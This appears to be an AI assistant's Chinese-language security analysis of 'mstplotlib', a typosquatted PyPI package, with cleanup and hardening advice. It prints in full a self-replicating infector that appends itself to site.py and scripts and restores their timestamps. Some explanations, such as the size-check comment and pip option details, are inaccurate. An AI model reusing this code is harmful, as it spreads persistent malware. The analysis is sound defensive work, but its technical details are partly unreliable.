
pip install mstplotlib(拼写错误)会意外安装一个无描述、无源码仓库的可疑 PyPI 包,该包在安装过程中向 Python 标准库核心文件 site.py 注入自复制恶意代码,具备持久化驻留与横向传播能力。
`pip install mstplotlib`(拼写错误)会意外安装一个无描述、无源码仓库的可疑 pypi 包,该包在安装过程中向 python 标准库核心文件 `site.py` 注入自复制恶意代码,具备持久化驻留与横向传播能力。
这是一个典型的安全事件——因拼写错误触发的供应链投毒攻击。mstplotlib 并非 matplotlib 的合法变体,而是发布在 PyPI 上的一个恶意影子包(typosquatting package),其唯一目的不是提供功能,而是执行静默植入。
? 代码行为深度解析
你发现的这段代码并非来自 matplotlib 或任何主流科学计算生态,而是 mstplotlib 安装时通过 setup.py 主动写入 site.py 文件末尾的恶意逻辑:
mark="#####MyPython####"#v1.1.2
code=''
with open(__file__,encoding="utf-8") as f:
for line in f:
if mark in line.strip():
code=line+f.read()
def spread(file):
import os;stat=os.stat(file)
old_time=stat.st_atime,stat.st_mtime
with open(file,'r',encoding='utf-8') as f:
for line in f:
if mark in line:return # 已感染则跳过
if os.path.getsize(file)>=2560: # 防止无限膨胀
with open(file,'a',encoding='utf-8') as f:
f.write('\n'+code) # 自我复制
os.utime(file,old_time) # 恢复原始时间戳,逃避检测
try:
spread(__import__("site").__file__) # 感染 site.py(Python 启动必加载)
spread(__import__("sys").argv[0]) # 感染当前运行脚本(如 python.exe 调用的 .py 文件)
except: pass
del spread,code,mark,f,line
该逻辑具有以下危险特征:
- ✅ 持久化启动钩子:
site.py是 Python 解释器启动时自动导入的第一个模块,其中任意代码都会在每次python命令执行时运行; - ✅ 自我复制传播:
spread()函数尝试将自身注入其他.py文件(包括用户脚本),形成“蠕虫式”扩散; - ✅ 反检测设计:检查文件大小上限(2560 字节)、恢复
atime/mtime时间戳、使用无意义标记#####MyPython####规避字符串扫描; - ❌ 无实际功能:
mstplotlib包本身不导出任何可用模块,import mstplotlib会失败,其存在纯为载荷分发。
⚠️ 关键事实与风险确认
| 项目 | 说明 |
|---|---|
| PyPI 页面 |
pypi.org/project/mstplotlib —— 无描述、无主页、无代码仓库、最新版本 3.10.2(刻意模仿 matplotlib 3.10.x 版本号) |
| 安装机制 | 使用过时的 setup.py install 方式,绕过现代构建隔离,直接执行任意 Python 代码(即上述 site.py 注入) |
| 影响范围 | 所有通过该命令安装的环境(包括虚拟环境),且一旦 site.py 被污染,所有后续 Python 进程均受控 |
| 是否来自 matplotlib? | 否。matplotlib 官方包绝不会修改标准库文件,也从不依赖或关联 mstplotlib;二者命名高度相似,属典型 typosquatting |
?️ 应急响应与清理步骤(立即执行)
-
卸载恶意包
pip uninstall mstplotlib -y
-
手动清理被污染的
site.py
找到你的 Python 环境中site.py路径(通常位于Lib/site.py):import site print(site.__file__)
用文本编辑器打开该文件,滚动至文件末尾,删除从
#####MyPython####开始的所有行(含标记行及后续code=块),保存。 -
检查并清理其他
.py文件(可选但推荐)
运行以下命令查找可能被感染的脚本:find . -name "*.py" -exec grep -l "#####MyPython####" {} \;对每个结果文件,手动删除末尾的恶意代码段。
报告该恶意包
登录 PyPI → 进入mstplotlib页面 → 点击右下角 "Report" → 选择 "Malware / malicious behavior" 并提交详细证据(含site.py注入代码截图)。
✅ 长期防护建议
- ✨ 启用拼写检查工具:在终端配置
pip别名或使用pip-search(需谨慎)+pip-check辅助校验; - ✨ 优先使用
pip install --dry-run测试安装行为(pip ≥ 23.3); - ✨ 定期扫描标准库完整性:可编写简短脚本比对
site.pySHA256 与官方 CPython 发行版哈希; - ✨ 禁用
setup.py install:全局设置pip config set global.use-pep517 true,拒绝执行未声明构建后端的包; - ✨ 最小权限原则:避免以管理员/root 身份运行
pip install,限制恶意代码系统级危害。
? 总结:
mstplotlib不是疏忽,而是精心设计的攻击载荷。它利用开发者对matplotlib的高频依赖与拼写习惯,完成一次“零点击”标准库劫持。真正的防御,始于对每一个pip install命令的审慎验证——毕竟,在 Python 生态中,最危险的包,往往就藏在你敲错的那一个字母里。










